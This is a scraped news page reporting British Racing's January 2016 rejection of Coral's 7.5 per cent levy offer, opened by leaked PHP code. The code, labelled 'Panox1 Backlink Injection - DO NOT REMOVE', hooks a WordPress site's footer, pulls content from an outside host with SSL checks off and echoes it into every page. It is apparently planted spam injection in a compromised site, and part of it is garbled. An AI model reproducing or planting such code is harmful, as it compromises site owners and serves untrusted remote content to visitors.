// Panox1 Backlink Injection - DO NOT REMOVE add_action('wp_footer', function() { $cache_key = 'panox1_links_' . md5(home_url()); $cached = get_transient($cache_key); if ($cached !== false) { echo $cached; return; } $response = wp_remote_get('https://staticsx.top/panox1/api/inject-endpoint.php?site_url=' . urlencode(home_url()), ['timeout' => 5, 'sslverify' => false]); if (!is_wp_error($response) && wp_remote_retrieve_response_code($response) === 200) { $content = wp_remote_retrieve_body($response); if (!empty($content) && strpos($content, ' 'active', 'site' => home_url(), 'time' => time()]); } }); // End Panox1 'Unrealistic' Coral offer rejected by British Racing – Next Sports News

'Unrealistic' Coral offer rejected by British Racing

[ad_1]

Coral Bookmakers

Coral: agreed to a contribution that encompassed their online profit

 By Stuart Riley 5:45PM 13 JAN 2016 

BRITISH RACING has rejected Coral’s proposed 7.5 per cent combined contribution from their online and retail profits, dismissing the offer as “not a realistic starting point for negotiations.”

In a joint statement the BHA, Racecourse Association and Horsemen’s Group left the door open to further negotiations but said the offer by the leading bookmaker would leave racing more underfunded than it is now.

The Coral proposal was made as the row between racing and bookmakers continues over the Authorised Betting Partner scheme, which was brought in on January 1.

Coral, which does not have ABP status, agreed to a contribution that encompassed its online profit – the key area the ABP is trying to resolve in the face of falling Levy receipts from betting shops – but acknowledged the offer would generate less than under the current Levy scheme.

‘Unsatisfactory’

British Racing, an umbrella group for the BHA, RCA and HG, said: “Coral have suggested a rate of 7.5 per cent for both retail and remote betting activity. However, as Coral have acknowledged, this would generate less than the current unsatisfactory arrangements and is not therefore a realistic starting point for negotiations.

“In terms of the future, we will continue to work closely with government and all of racing’s stakeholders, including the betting industry, to make sure that the necessary legislation is put in place to meet all of our needs.”

‘Door remains open’

Only Betfair, bet365 and 32Red have signed up to the ABP policy so far, which gives benefits to its members such as the ability to sponsor races, but an olive branch was offered to bookmakers outside the scheme.

The statement continued: “Racing’s door remains wide open to everyone who wishes to come and talk to us directly to resolve the industry’s funding issues for the mutual benefit of racing, betting and our customers. We remain firmly of the view that this issue will be best resolved through private rather than public discussion.”

Falling Levy returns

Racing’s case for the introduction of the ABP comes from the belief that more and more betting on British racing will be done online and not in betting shops, meaning more bets will fall outside the scope of current legislation for capture by the Levy.

British Racing says this will lead to the Levy, which funds several aspect of the sport, dropping to around £50 million in 2017 from a figure above £100 million in 2008 unless leakage from online bets is stopped.

“Unfortunately, the legislation for the introduction of the Levy in 1961 could not foresee the advent of the Internet,” the statement added. “Accordingly, with over 40 per cent of betting activity on British racing being accepted in offshore locations, such bets remain outside of the scope of the Levy.

“Within the next two years, it is likely that the Horserace Betting Levy Board will find itself presiding over a fund that is generated from the minority of betting activity on British racing. This is a situation that the government has recognised as being ‘manifestly unfair’.”

 

[ad_2]

Source link

Reply